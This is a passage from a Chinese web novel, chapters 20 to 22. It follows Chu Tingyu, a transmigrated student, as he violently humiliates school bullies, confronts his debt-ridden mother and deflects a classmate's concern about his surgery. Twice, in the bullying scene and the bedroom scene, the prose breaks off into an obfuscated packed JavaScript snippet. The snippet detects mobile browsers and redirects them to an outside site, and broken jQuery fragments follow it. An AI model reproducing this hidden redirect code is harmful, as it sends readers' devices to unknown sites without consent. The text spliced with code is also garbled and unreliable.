褚亭玉看着前面,风从耳边掠过,心思却落在了阮筝刚才的话上。
原主的母亲?
他穿过来这么久,只见过姥姥一个亲人。关于这身体的母亲,记忆里完全是一片空白。听阮筝这语气,这位素未谋面的妈妈,恐怕不是什么安分的人。
20.第 20 章
第二天,褚亭玉睁开眼时,窗外天光大亮。他摸过手机一看时间,迟到已经板上钉钉。
他蹙眉起身,第一反应是打电话让周君珩先走。
总不能拖累好学生跟着自己一起迟到。
刚拿起手机,就看到对方半小时前发来的短信:
【学校有点事,我先走了。你路上慢点。】
褚亭玉松了口气,回了句【知道了】,随手丢开手机,慢腾腾地套上衣服,半点没有学生迟到应有的慌张。
学校围墙根下,徐英全正靠在墙上抽烟,见他来,笑着掐了烟:“哟,小学弟,今儿够赶的啊。”
这熟稔的态度,源于几周前的一次意外。
同样是一个迟到的早晨,校领导在校门口检查。褚亭玉眼看进不去,正想着干脆逃课算了,就被墙边的青年叫住。
“想进去?”徐英全吐了个歪歪扭扭的烟圈,指了指旁边的小卖部,“喏,那店后头,能通操场。”
褚亭玉本不耐烦被人搭话,但想着逃学也无处可去,便面无表情地跟着他绕到小卖部后面。自那以后,但凡迟到,他都绕到这来。一来二去,两人倒也熟了,还加了联系方式。
徐英全是小卖部老板的儿子,比他们高几届,没考上大学,就留在店里帮忙。
“门开着?”褚亭玉语气平淡,顺手丢过去一包烟。
“早给你备着了。”徐英全接住烟,颠了颠,拉开不起眼的铁皮后门,“麻溜儿进去吧,刚瞅见老张头进楼了,这会没人巡。”
褚亭玉“嗯”了一声,侧身钻了进去。
“哎,”徐英全忽然叫住他,“晚上有空不?带你去个地方耍耍。”
褚亭玉脚步没停,头也不回地应了句:“再说。”
这段时间的经验下来,这人的“再说”就是“没兴趣”的意思。
碰了一鼻子灰,徐英全对着空巷子啧了一声,悻悻地把烟揣进兜里,又摸出一根点上。
心里嘀咕这小子年纪不大,架子倒挺足,三请四请都请不动,跟个闷葫芦似的,偏生又让人觉得有点意思。
最初留意到这小子,是因那张脸。那日褚亭玉骑着电动车停在路边,晨光拂过侧脸,眉眼清丽得晃眼,徐英全隔几步都看怔了,才上前搭话。后来熟了才知,人跟长相反差极大,总是冷冷的,话也不多。
广播里正放着早操的音乐,学生都去做操了,楼道空空荡荡。褚亭玉出来得急,没顾上解决,一路走到三楼,右拐进了男厕。
学校的男厕,气味总是不太好。一股烟味混合着尿臊味挥之不去,瓷钻缝里嵌着经年累月的污垢。
他一向不喜欢这地方。
里面烟雾缭绕,魏志勇、李博、李杰伟几个正靠着窗边抽烟。看见褚亭玉进来,李博和李杰伟互相使了个眼色,魏志勇叼着烟,冷眼瞅着他,没说话。
褚亭玉像没看见他们,径直走到一个还算干净的隔间,进去,插上了插销。
解决了生理需求,褚亭玉提好裤子,手却没立刻从裤腰上放开。
他脸色阴沉地僵在原地。
从出门起,下面那难以启齿的部位的存在感,比以往都要强烈。
他下意识抗拒去想那意味着什么。
皱着眉,他最终还是重新拉下裤子,连带底裤也拉下来一点。
上面有一小块明显的痕迹。
褚亭玉脸色更沉,下唇不自觉地被咬紧。
不可能吧?脑子里闪过一丝侥幸,但身体的异样感骗不了人。
他垂着眼,盯着那处,眼神晦暗得吓人。
褚亭玉闭了闭眼,齿关深陷下唇,尝到一丝淡淡的血腥味。
胃里一阵不舒服,强烈的生理排斥感汹涌而至。
“哐当!”
隔间门板突然被外面的人狠狠踹了一脚,震得插销直颤。
“喂!里头磨蹭什么呢?掉坑里了?”
李杰伟不耐烦的声音和另外两人的哄笑传了进来。
褚亭玉眼神一冷,迅速提好裤子,拉开门,一言不发地从几人身边擦过,站到洗手台前,拧开水龙头。水流哗哗响,他低着头,额前的碎发遮住了眼睛,看不清表情,只看到嘴角绷得很紧。
他这副把几人完全当空气的姿态惹毛了魏志勇。要知道,以前褚亭玉见了他们,都是能躲多远就躲多远,如今这般无视,他怎么能咽下这口气?真以为攀上周君珩就了不起了?
他阴沉着脸,朝李杰伟递了个眼色。
李杰伟会意,转身,把厕所门从里面反锁。
风从窗外灌进来,吹动褚亭玉颈后碎发。李博盯着他背对他们洗手的侧影,那张没什么表情的侧脸,紧抿成一条直线的嘴角,心里莫名有点发毛。
魏志勇叼着的烟蒂已经烧到过滤嘴,他猛吸最后一口,摁灭在脏瓷砖上,几步上前,阴阳怪气地开口:“哟,洗这么仔细?是怕周大少爷嫌你?”他啧了声,眼神里的嘲讽快溢出来,“勾搭上周君珩,还真把自己当根葱了?也不撒泡尿照照自己什么德行,一个怪胎,还指望人家拿你当朋友?做你的春秋大梦!”
回应他的只有哗哗的水声。
“跟你说话呢,聋了还是哑了?”魏志勇火气蹿上来,撸起袖子又逼近半步,“这段时间,你未免太嚣张了。”
“勇哥!”李博见状心头猛跳,赶紧拽住他胳膊:“要不算了吧,上次班主任就警告过......”他隐约觉得褚亭玉今天不对劲,安静里说不出的瘆人。
“滚蛋!”魏志勇一把甩开他,“怂包!怕他个屁!”脑子一热,胳膊一抬就往褚亭玉后颈搡去,“装你妈清高,不就是......”
指尖刚碰到衣领布料,褚亭玉胳膊肘往后一顶,正撞在魏志勇小臂麻筋上。
魏志勇手一麻,软劲未消,手腕就被攥住,向外狠拧。
骨头缝里瞬间窜起钻心的疼。
“操!”魏志勇疼得面目扭曲,另一只拳头攥紧了就往褚亭玉太阳穴抡去,“你他妈找死?!”
褚亭玉头往旁边偏了偏,同时拽着他手腕往自己这边带。魏志勇拳头擦着他耳朵抡空,身体踉跄半步,脆弱的脖颈正好落入褚亭玉空着的另一只手中。
这是实打实的掐。
褚亭玉手指扣住他颈侧的动脉,稍一用力,魏志勇的脸就涨成了猪肝色。无视他的挣扎,褚亭玉猛地向前一送,像拖拽重物般将他掼向坚硬的洗手台。
“咚!”
“勇哥!”李杰伟惊呼。
魏志勇后腰狠撞上台沿,脑袋随着惯性后仰,后脑勺重重磕在上方的镜面上。
整面镜子应声爆裂,碎片像下雨般砸下来。
褚亭玉松手,魏志勇失去支撑,身体顺着台面无力下滑,沉重地摔在满地碎玻璃上。
他强忍着眩晕,用手肘撑地想支起身子。
身体刚抬起半分,一只脚突然踩上他的后心。
魏志勇勉强撑住身体,艰难抬头,见褚亭玉弯下腰,捡起脚边一块玻璃碎片。
他捏着碎片,随意转看半圈。锋利的刃口划过掌心,他却浑若不觉。血珠渗出,顺着指缝溅落在魏志勇手背上,烫得他猝然一缩。
“刚才想说什么?”褚亭玉的声音很轻。
魏志勇嘴唇翕动,没敢出声。他从褚亭玉眼底里看不出任何情绪,却觉得里面藏着一种奇怪的亮,平静的表象下翻涌着不管不顾的疯劲。
“怎么不说了?”褚亭玉嘴唇微扬,笑了笑。
漂亮极了。
魏志勇没见过比褚亭玉更好看的人,此刻对方唇角带笑,那笑容本该惊艳绝伦,却只让魏志勇头皮发麻。
见他发愣,褚亭玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135401|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把玻璃碎片往魏志勇颈侧凑了凑,尖端刚碰到皮肤,魏志勇猛地回神,抖如筛糠。
“让你说的时候不说,”他踩在魏志勇后心的脚微微用力,玻璃尖又陷进半分,“下次再敢多说一个字,我不介意让你今天就躺着离开这里。”
血珠顺着脖颈往下滑,魏志勇的心理防线彻底崩溃,声音抖得不成调。
“不......不敢了......我错了......饶了我......真错了......”
褚亭玉对他的求饶置若罔闻,指尖转着染了血的玻璃,像在把玩什么有趣的东西,语气淡漠:“最好是。不然......”他顿了顿,声音轻飘飘的,“我现在就弄死你。”
说这话时,捏着玻璃的手仍在滴血,殷红的血珠顺着指缝往下掉,却半分没影响他手指的灵活。那是种全然的不在乎,对他人性命的漠视,对自己伤口的无视。
魏志勇点头如捣蒜。
旁边的李博和李杰伟早吓傻了,大气都不敢喘。
水龙头还在淌水,哗哗的。在这单调的背景音里,褚亭玉手腕一松,玻璃碎片掉在魏志勇脸旁边的地上。
“下次开口前,”他声音不高不低,却字字清晰,“先掂量掂量。”
说完,褚亭玉抬脚,转身回到水池边。水流冲刷过掌心的伤口,血色迅速洇开又被冲淡,但新的血珠立刻争先恐后地涌出,重新染红掌心。
他面无表情地冲了几秒,才伸手关掉水龙头。水流声戛然而止,掌心的伤口还在渗血,滴在地上,混在狼藉的玻璃碎片中,红得刺目惊心。
他走过李杰伟身边,那人惊惧地往后缩了缩。褚亭玉没看他,拉开门,走出厕所。
平日上课,褚亭玉不听讲也没人管,日子浑浑噩噩也能捱过去。
可今天格外难熬。
吊扇转得吵,粉笔划过黑板的吱嘎声也让他烦躁,怎么都坐不住。
胸前沉甸甸地发胀,时不时隐隐作痛。还有下身那湿漉漉的黏腻感,更是说不出的别扭。
两处不适搅在一起,他眉峰拧得很紧。
忍了又忍,褚亭玉隔着衣服按了按胸口,指尖微微用力揉了两下。那股胀闷感似乎松快了些,只是底下藏着的酸软还在,像没散尽的潮气,浸在骨头上。
他把脸埋进臂弯,搁在桌下的那只手,手指无意识地掐紧桌沿,掌心又有新鲜的血珠一点点从裂口洇开。
……
周君珩并非对同性恋这个概念全然陌生,只是从没想过,自己会栽进这样的漩涡里。
以他对褚亭玉的了解,阮筝说他不喜欢男生,十有八九是真的。
一想到这点,他就莫名发慌。
要是让褚亭玉知道自己心里这些龌龊念头,对方会怎么看他?怕是连那点好不容易攒起来的交情,都要彻底凉透了。
起初他也疑心,这份荒谬的情愫,是不是因为和褚亭玉频繁接触才滋生出来。
于是打算借着月考备考的由头,先和对方拉开距离,让自己冷静下来。等这莫名的心悸平息后,再像从前那样自然地找他说话,应当还来得及。
没成想,他不再找褚亭玉,对方竟也没主动找来。偌大的校园,说大不大,说小不小,但他却一次没遇见过褚亭玉。
周君珩突然觉得,自己这是弄巧成拙了。
一中的月考考场惯例打乱班级划分,他俩早前对过考场,褚亭玉的考场恰好是他所在的班级。
第一科考语文,周君珩坐在自己的座位上,目光总忍不住一次次飘向教室门口。
教室里的人渐渐坐满,直到预备铃响起,他盼的那个身影还是没出现。
周君珩起身离座时,身后不远处一个早已等得心焦的男生才如释重负地悄悄吁了口气,待他背影消失在门口,忙不迭地快步上前坐下。
21.第 21 章
褚亭玉不止考试没来,后面几天也一直没在学校露面。眼看这周就要过完,电话怎么打都无人接听,发出去的消息也石沉大海,周君珩心里越来越着急。
他凭着记忆里的地址,直接找去了褚亭玉家。
真站在那扇门前时,周君珩心里反而生出一丝迟疑。
就这么不请自来,会不会太唐突了?
但这个念头只是一闪而过。他向来不是犹豫不决的人,来都来了,总不能连门都不敲就离开。
略一停顿,他抬手,不轻不重地在门板上敲了三下。
其实也就过了十几秒,但周君珩却感觉等了挺久,门终于开出条缝。
褚亭玉站在门后,穿件宽松的旧短袖,配条家常短裤,脸色看着有些苍白,额前的头发有点乱,眼神里带着点刚被打扰的不耐烦。周君珩瞥见他露在外面的小腿,白皙、线条利落,目光飞快收了回来。
看见门外是周君珩,他明显怔了一下。
“......你怎么找到这来了?”他的声音听起来有点干涩。
周君珩静静看着他,好一会,才解释:“你好久没来学校了。”他停顿了一下,才接着说,“电话也打不通。”
褚亭玉眼里闪过一丝茫然,似乎不明白为什么只是几天没见,周君珩会特意找上门。他能听出对方语气里的担心,但这几天他被陌生又难堪的疼痛反复折磨,再加上原主家里的糟心事,他正心烦意乱,只想让对方赶紧离开:“没事。就有点不舒服。”
“要不要去医院看看?”周君珩看他靠着门框,没什么精神的样子,不自觉地往前迈了一小步。
“不用。”褚亭玉拒绝得很快,几乎没经过思考,“睡几天就好了。”
他正要开口让周君珩先回去,楼道里忽然传来一阵高跟鞋敲击地面的声响,由远及近地朝这边过来。
褚亭玉眉心蹙起,脸上的不耐又深了几分,伸手拽了周君珩一把,压着声音道:“进来。”
“怎么了?”周君珩被他带着进了屋,也跟着放轻了语调。
褚亭玉没心思细解释,注意力全被门外的动静勾着。脚步声越来越清晰,他推了推周君珩,示意他往旁边自己的房间去。
“你先在我屋里带着,别出声。”褚亭玉丢下这句话,反手带上了房门。
周君珩在房间里站定,就听见外面钥匙转动的轻响,一个女声扬了起来:“在家啊?门怎么没关好......”
他好奇地打量这间小房间。
一张床,一张书桌,一个衣柜,样样简单,却收拾得干净。空气里似乎还萦绕褚亭玉身上那股淡淡的气息,刚才的疑惑门外的动静,一时间都淡了下去。
门外的说话声隐约还在继续,周君珩的注意力有点飘走了。站在这片完完全全属于褚亭玉的私人空间里,一种既陌生又微妙的亲近感悄然滋生,让他暂时忘了去细听外面的情形。
他的的目光落在靠墙的那张床上,被子没叠,松松软软地堆着,看着就带着几分暖意。
不知怎的,周君珩的视线在那略显凌乱的床铺上多打了几个转,恍惚间像是想到了什么,又不自然地移开,耳根悄悄爬上点热意。他抬手蹭了下鼻子,目光漫无目的地游移片刻,最后落在书桌的一角。
书桌上没什么花哨的物件,最显眼的是本摊开的笔记本。封皮边缘已经磨得有些发白,边角也卷着不甚规整的弧度,一看就知用了很久。
他定了定神,脚步朝书桌挪近两步,看清那摊开的纸页顶头写着一行日期,心里咯噔一下。
他立刻别开脸,喉结不自然地滚动了一下。偷看别人日记太逾矩,这点分寸他还是有的。
可褚亭玉这个人,总是淡淡的,对谁都像隔着一层。周君珩好不容易觉得两人关系近了些,勉强能算个朋友,这几天对方却突然没了音讯,点好不容易攒起来的熟稔,像被戳破的气泡,一下子全没了。
他说不清心里是发慌还是发闷,只觉得自己好像站在雾里,看不清褚亭玉究竟是怎么看待自己的。尤其是在认清自己那点心思后,他更加忐忑,既怕太冒失吓到对方,又忍不住想抓住点什么,证明那些靠近不是自己的一厢情愿。
他太想知道对方到底在想什么了。
手指在身侧悄悄攥紧,又缓缓松开。周君珩终究没忍住,视线再一次落回到那摊开的纸页上,这一次,看得格外仔细。
一行行看下去,他脸色渐渐变了。刚才那点好奇与冲动迅速褪去,嘴唇抿得发白。他死死盯着那本子,眼神彻底沉了下去,整个人像被兜头泼了盆冷水,连肩膀都无力地塌了下来。
门被推开,走进来的女人打扮得艳丽,神色却透着掩不住的憔悴。浓重的眼妆遮不住眼下的青黑,嘴唇涂得鲜红,唇瓣却有些干裂起皮。她指间夹着半截烟,一进门就四处瞟,瞧见沙发上坐着的褚亭玉时,脚步不由得顿了一下。
褚亭玉陷在沙发里,后背抵着扶手,一条腿屈起搭在另一条膝头,指尖夹着支没点燃的烟,连眼皮都没抬一下。那姿态随意又放松,倒像是这屋子的主人,反叫她显得像个不请自来的闯入者。
陈丽华心里没来由地一虚,紧接着又窜起一股火气。这明明是她从小住到大的地方,她凭什么心虚?可真对上褚亭玉那副冷淡模样,到了嘴边的刻薄话竟生生卡了壳。
她清了清嗓子,故意拔高了音量:“我妈呢?”
“你不就是算准她今天不在,才敢回来的?”褚亭玉的声音平得像一潭死水,听不出半分嘲讽,却比任何讥诮都让人难堪,“不然上次被她拿扫帚赶出门的滋味,忘了?”
陈丽华被戳中痛处,脸上一阵青一阵白,却硬是没敢发作。上次被这儿子几句话堵得心口发闷的场景历历在目,她早就发觉这小子跟过去完全不同了,简直像换了个人,也不知道是吃了什么灵丹妙药。
此刻对着褚亭玉,她心里那点莫名的忌惮又冒了头,索性闭了嘴,转身往电视柜前走,拉开抽屉就翻找起来。
褚亭玉就坐着,指尖漫不经心地转着烟条,冷眼瞧着她像疯狗似的到处扒拉。
陈丽华从客厅翻到老人的卧室,衣柜里的衣服被扯得满地都是,床头柜的抽屉被整个拽出来,零钱和药瓶滚得七零八落。
“钱呢?老太太的钱藏哪了!”她头发散乱,转身时带倒了椅子,人又冲回客厅,声音尖利,“我知道她肯定藏了钱!你把钱拿出来!我都快被逼死了!她宁愿把钱攒着给你做那莫名其妙的手术,也不肯拿出来救我!你现在不是好好的?做什么手术!纯粹是糟蹋钱!”
褚亭玉收起烟,终于抬眼看向她,目光平静地落在她因激动而扭曲的脸上,慢悠悠地说:“我要是你,绝不会再踏进这个家门一步,更没脸提‘妈’这个字。”
这句话彻底点燃陈丽华积压已久的怨毒,她再也顾不上其他,不管不顾地嘶喊起来:
“我没脸?哈!要不是因为你这个小怪物!要不是生了你这个不男不女的东西!我怎么会落到今天这个地步?我早就......我早就......”
她嘴唇哆嗦着,手指几乎要戳到褚亭玉得脸上,“生你根本就是个错误!早知道当初就该把你溺死在尿盆里!看着你都让我觉得恶心!”
出乎她意料得是,褚亭玉神色没什么变化,甚至在她骂完后,极轻地嗤笑了一声。
“不,你搞错了。”他站起身,一步步走向陈丽华。他比陈丽华高上不少,垂眼看来时,带着一种近乎怜悯的压迫感,“是你自己,把一手好牌打得稀烂。你混成今天这样,跟任何人都没关系。把你从美梦里拽回现实的人,也不是我。”
他的声音依旧没什么起伏,却像刀子一样锋利地剥开她层层伪装:
“是你自己没那个命,却偏要做一步登天的美梦。靠骗、靠偷来的东西,怎么可能长久?就算没我,你也迟早会因为别的由头摔下来。这个道理,你心里其实比谁都清楚,不是吗?”
“你恨我,不是因为生了我,而是因为每一次你看到我,就不得不再一次看清自己到底几斤几两。”
陈丽华像被抽干了所有力气,踉跄后退一步撞在墙上,眼神涣散地喃喃:“你懂什么......那些人会弄死我的......妈不能见死不救啊......”
“见死不救?”褚亭玉冷笑一声,“你扪心自问,姥姥哪一次没救你?你哪回装可怜,她哪次没把养老本掏给你?可你呢?”
他向前逼近一步,目光如刀:“输光了,安生几天。等债主逼上门,又回来演这出苦情戏。你不是在求救,你是在拖着她一起下地狱。”
陈丽华猛地抬头,眼底通红:“我是她女儿!她帮我是天经地义!”
“女儿?”褚亭玉极淡地勾了下嘴角,那笑意冷得让人心头发寒,“你也配?你只有在被追得走投无路的时候,才想起来自己是她女儿。其他时候,你嫌这儿破,嫌她啰嗦,嫌她没本事给你大富大贵。”
他语气平直,却字字砸得她浑身发颤:
“你根本不是恨我,也不是恨姥姥。你只是恨自己活成了这副不堪的样子,又没胆量承认,只好找个靶子来发泄你的无能。怪我毁了你的富贵梦,怪姥姥不事事依你。这样,你就永远不用面对自己就是个彻头彻尾的失败者、一个只会啃噬亲人的赌徒的事实。”
他微微倾身,看进她骤然缩紧的瞳孔里:
“你口口声声说别人恶心,但其实最令人作呕的,是你这种自己明明烂到根子里,却还要摆出一副全世界都亏欠你的可怜嘴脸。”
陈丽华张着嘴,像离水的鱼一样大口喘气,一个字都吐不出来。那些被她精心掩盖的私心与不堪,连自己都不敢细想的念头,被他三言两语扒得干干净净,晾在光天化日之下,血淋淋的,无处遁形。
褚亭玉直起身,不再看她惨白的脸。
“现在,滚出去。”
陈丽华没动,沉默了半晌,忽然扯着嘴角露出个古怪的笑,眼神直勾勾地锁着褚亭玉:“不对......你不是他。你到底是谁?”
她早该察觉的。
眼前这个人,冷静、锋利,字字诛心,看她的眼神冷得像看一堆碍眼的垃圾。这绝不可能是那个在她漠视和厌弃下长大、阴郁又怯懦、对她既恨又存着点可悲期待的儿子。
褚亭玉眉梢微挑,没料到她会突然来这么一句。他确实没心思刻意模仿原主,这几天被这具身体突如其来的生理折腾得够呛,系统也迟迟没个动静,反正这破日子他一天也不想多待了,刚才差点就顺着她的话认了。
就在这时,他房间突然传来一阵清脆的破裂声。
两人同时一怔,目光齐刷刷转向那扇紧闭的门。
陈丽华眼里的惊疑一下子散了。
人怎么可能换了个芯子?肯定是这小畜生以前藏得太深,故意装出来的!
她把那个离谱的念头压下去,转而浮起一丝不怀好意的笑:“哟,真是长本事了。不光嘴皮子利索了,毛都还没长全呢,就学会往家里藏人了?”
说着,她抬脚就要往房间那边走,摆明了要推门看个究竟。
褚亭玉眉头一拧,长腿一跨,几步便拦在她跟前,声音冷了下来:“出去。”
陈丽华被他陡然凌厉的气势唬住,脚步一顿,哼了一声:“怎么?藏了什么见不得人的?是哪家的小丫头,还是......”她上下扫着褚亭玉,眼神越发不正经,“藏了个野小子?”
“我最后说一次,滚出去。”褚亭玉语气里的不耐烦快溢出来了,周身的寒气压得人喘不过气。
陈丽华瞅着他眼底的冷漠,终究没敢再往前凑,嘴上却不依不饶:“装什么装?拦着就有用了?等老太太回来,我非得好好问问,她的宝贝孙子小小年纪不学好......”
她嘴里嘟嘟囔囔,不情不愿地挪到门口,手刚搭上门把手,又回头狠狠瞪了褚亭玉一眼,这才拉开门,踩着高跟鞋噔噔噔地消失在楼道里。
客厅里终于安静下来。
褚亭玉转身,走过去开门。
周君珩正弯下腰去捡地上的碎瓷片,房门就被推开了。
“别乱动。”褚亭玉皱着眉快步走进来。
周君珩手指蜷了一下,碎片险些划到指尖。他慢慢直起身,视线低垂,不太敢去看褚亭玉的眼睛。
“手。”褚亭玉没多话,直接朝他伸出手。
周君珩下意识把手递过去,手腕被对方轻轻握住。褚亭玉的指尖微凉,扫过他指腹时带着点刻意的轻,确认没伤口才松开。
“抱歉,”周君珩抽回手,往身后藏了藏,“转身的时候没注意。”
褚亭玉没接话,目光落在他另一只手里攥着的那个旧笔记本上,顿了顿,伸手接过来,随手放回桌上。就在他视线扫过桌面的瞬间,脸色忽然微微一变。
一片纯白色包装的边角,正从一本书底下露了出来。
他手指不着痕迹地动了动,刚放下的本子被轻轻地推过去,恰好严严实实地盖住了那片白色边角。
其实摔碎个小物件不算什么,褚亭玉本来想说“没事”,可一眼瞥见那东西,就想起这几天的狼狈,他脸色怎么也舒展不开,心情瞬间跌到谷底,比刚才应付陈丽华时还要烦躁。
周君珩看着他明显沉下来的脸色,心里一紧。果然还是惹他生气了。也是,任谁的隐私被偷看,都不会高兴的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214178|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“对不起。”他有些无措,更满心懊悔,“我不该乱动你的东西。”本子里那些炽热又卑微的字句在他脑中挥之不去,刺得他心里发涩,但比起这个,褚亭玉现在的沉默更让他坐立难安。
“我不会说出去的。”周君珩低声保证。
褚亭玉还在想系统到底跑哪去了,自己还有没有回原世界的可能,闻言随口问了句:“说什么?”
见他装傻,周君珩莫名有些来气,别开脸不去看他,语气硬邦邦的:“你喜欢阮筝。”
可话刚出口不到两秒,他又忍不住转回头,紧紧盯着褚亭玉的脸,不肯放过一丝一毫的表情变化。
褚亭玉愣了一下,对他这个想法显然十分意外,脸上露出几分真切的错愕:“我不...”
他否认的话说到一半,突然想起原主日记里那些毫不遮掩的心事,声音顿住,末了慢吞吞地“哦”了一声。
这个反应落在周君珩眼里,简直等于默认,他胸口一阵发闷,像被什么堵住了似的。
褚亭玉看周君珩沉着脸,想起他这个年纪正是容易萌生好感的时候,便挑眉反问:“怎么,是你喜欢阮筝?”
“我没有!”周君珩僵着脸反驳。
“哦——”褚亭玉故意拖长了调子,“年少慕艾,本就是人之常情,藏着掖着反倒见外了。”
何况阮筝长得漂亮,成绩也不错,可不就是标准的校园女神?
就算是周君珩这样的,会暗恋她,褚亭玉也觉得再正常不过。
周君珩被他这几句话激得心头冒火,哪还顾得上暗自消化那点酸涩。眼看褚亭玉转身要走,怕他真误会,情急之下一把拉住他的胳膊:“我真的不喜欢她!”
这一下没控制好力道,褚亭玉被拽得向后踉跄了半步。
他站的位置本就离地上的碎片不远,在家穿的又是凉拖,这要是踩上去,后果不堪设想。
周君珩脸色骤变,原本拉着胳膊的手想也没想,改为环住他的腰,稍一用力将人提起,往自己这边一带,顺势转了半圈,避开了那堆碎片。
褚亭玉被转得晕了一下,站稳后难免有些恼。他因为身体缘故,从小就不习惯与人过分亲近,这小子倒好,一而再再而三地越界。
什么天之骄子?连最基本的社交距离都不懂吗?
“不喜欢就不喜欢,至于这么大反应?”他边说转过头,却差点直接撞上周君珩的脸。
两人距离瞬间拉得极近,近得能清晰地感受到对方温热的呼吸拂过脸颊。
周君珩低头望着怀里的人,睫毛在眼下投出浅浅的阴影。手臂还环着对方的腰,力道减轻了些,但没完全放开。喉结无声地动了动,声音低得像叹息:“我不喜欢她。”
不知是不是错觉,每次靠近褚亭玉,周君珩总能闻到一股很淡却很好闻的味道,不像香水,就是很干净又清爽的气息,让他没来由地觉得心安。
褚亭玉皱起眉,抓住周君珩的手腕,本想直接甩开,但想到这手臂前不久才受过伤,动作顿了一下,转而用手肘抵着周君珩胸口,将人推开一些:“不喜欢就不喜欢,别靠这么近。”
“......哦。”周君珩应着,松开手,老老实实地向后退了半步。
褚亭玉没再理他,转身走出房间去找扫帚清理碎片。
周君珩看着他走到门口的背影,才悄悄抬起双手,靠近,虚虚地拢在一起,比划出一个圈。
这么细?
好像两只手就能圈住。
随即他意识到自己这举动有点奇怪,略显尴尬地放下手,快步跟了出去。
看着客厅里被翻动过的杂乱痕迹,周君珩犹豫了一下,还是开口问道:“刚刚那人......是你妈妈?”
“嗯。”褚亭玉应了一声。
周君珩没再问关于他妈妈的事,而是提起另一个让他在意的问题:“你要做手术?”
褚亭玉正拿起墙角的扫帚和簸箕准备回房间,听到这话,动作微微一顿。
前世的他,家境优渥,父母是典型的商业联姻,各怀心思,唯一上心不过是要有个拿得出手的继承人。偏他生下来就带有隐疾,两人当即就凉了心,谁也没再多看他一眼,只顾着琢磨再生一个。
他们嘴上说着尊重他的选择,等他长大了自己决定做不做手术,实际上连正眼都懒得给他,只是吩咐人按时给他塞些控制激素的药。
可天不遂人愿,这么多年过去,再生一个的计划始终没能如愿。等到他们终于又想起他,带他去做检查时,早就错过了最佳的手术时机。
但原主家里穷,根本没那么多选择。不过从他攒钱的习惯,还有日记里那些零碎的内容来看,他应该是想尽早做这个手术的。
“算是吧。”褚亭玉答了句。
周君珩没具体问是什么手术,直接问:“需要很多钱吗?”
褚亭玉走回房间,把地上的碎片扫进簸箕,淡淡地说:“可能吧。”说起来,他前世没为钱犯过愁,还真不清楚具体要多少。
“要多少?”周君珩亦步亦趋地跟在他身后,追问的势头丝毫未减。
褚亭玉直起身,看了他一眼,没应声。他把扫好的碎片包起来拿出房间,找了个袋子装好。周君珩仍跟他在后面,突然冒出一句:“我有钱。”
褚亭玉拎着垃圾袋走到角落,被他这认真的样子逗得轻笑出声:“原来是周少。”
“我没开玩笑。”周君珩皱起了眉。
“知道知道。”褚亭玉慢悠悠地应着,转身时忽然屈起手指,在他额头上轻轻弹了一下,“所以呢?”
力道轻得像在逗小孩,周君珩却觉得被弹到的地方隐隐发烫。他忍住想去揉的冲动,谨慎提议:“我可以借你。”他悄悄把“给”换成了“借”,生怕被直接拒绝。
褚亭玉敷衍地嗯嗯两声:“行啊,真需要了就找你借。”他拍了拍手,朝门口走去,“现在先去吃饭。”老人去吃席了,晚饭得自己解决。
“等等。”周君珩又一次拉住了他。
褚亭玉停下脚步,不动声色瞥了一眼他的手,有点想叹气。
他本以为对方要问家里的事,毕竟第一次来就撞见这种场面,换谁都会好奇。等了好几秒,却听见周君珩声音低低的,带着点不易察觉的委屈,问的完全是另一回事:“你为什么不接我电话,也不回消息?我很担心你......”
“......”褚亭玉一时语塞。
难道要他说,那几天疼得他在床上根本起不来,哪还有力气看手机。更何况,他也不想跟周君珩解释这些,只能含糊地说忘了。
周君珩面无表情地看着他,也不知道信没信
22.第 22 章
之后好些日子,周君珩没少旁敲侧击地想从褚亭玉嘴里套出些什么。
可几次试探都被褚亭玉轻描淡写地绕开,不是“小问题,不严重”,就是“还没定,以后再说”,语气听不出半点着急。
他也不是非要刨根问底,只是觉得,如果真是什么严重的病,褚亭玉却一点都不肯向他透露,分明是还把他当外人。这种被排除在对方世界之外的感觉,简直糟糕透了。
时间一天天过,褚亭玉再没缺过课,周君珩见他照常上课,吃饭,走路说话也没什么异样,心里那点疑惑也就慢慢压了下去。
他劝自己,褚亭玉不愿说,自然有他的理由。
整个学期下来,褚亭玉在班里还是老样子,总是一个人。他好像一点都不在乎合不合群,课间要么趴在桌上补觉,要么就塞着耳机安静地看不知道从哪淘来的旧书,周身自带一种生人勿近的气场。能跟他自然说上话的,除了从小认识的阮筝,也就只有周君珩了。
偶尔看着褚亭玉独自穿过校园的背影,周君珩会忍不住想,自己能这样走近他,某种程度上也算是一种幸运。
期末考一结束,寒假就来了。
周君珩是因为父亲工作临时调动,才暂时在海市读书。年关将近,他自然是要回京过年。他爷爷从一开始就不赞成他母亲借着这个机会把他留在海市,心里一直不太乐意。每次假期都直接派人来接,根本没有商量的余地。
离校那天,他趁课间跑上楼,让靠窗的同学叫了褚亭玉出来。两人还没说上几句话,他的手机就响个不停。
周君珩皱眉按掉电话,也顾不上多说,拉过褚亭玉的手,往他手心塞了个东西。
褚亭玉只觉得手里多了个又硬又凉的东西,刚想低头看,手腕就被周君珩用力按住。
“我实在不放心,”他声音带点着急,“你拿着。”
上次无意间听到的那些争吵片段,已经足够他拼凑出褚亭玉母亲欠了赌债的事。越到年底,越容易出乱子。他这一回去,隔着上千里远,万一真有什么事,他再着急也赶不回来。思前想后,只有给钱最实在,真遇到事也能应应急,好歹让他安心一点。
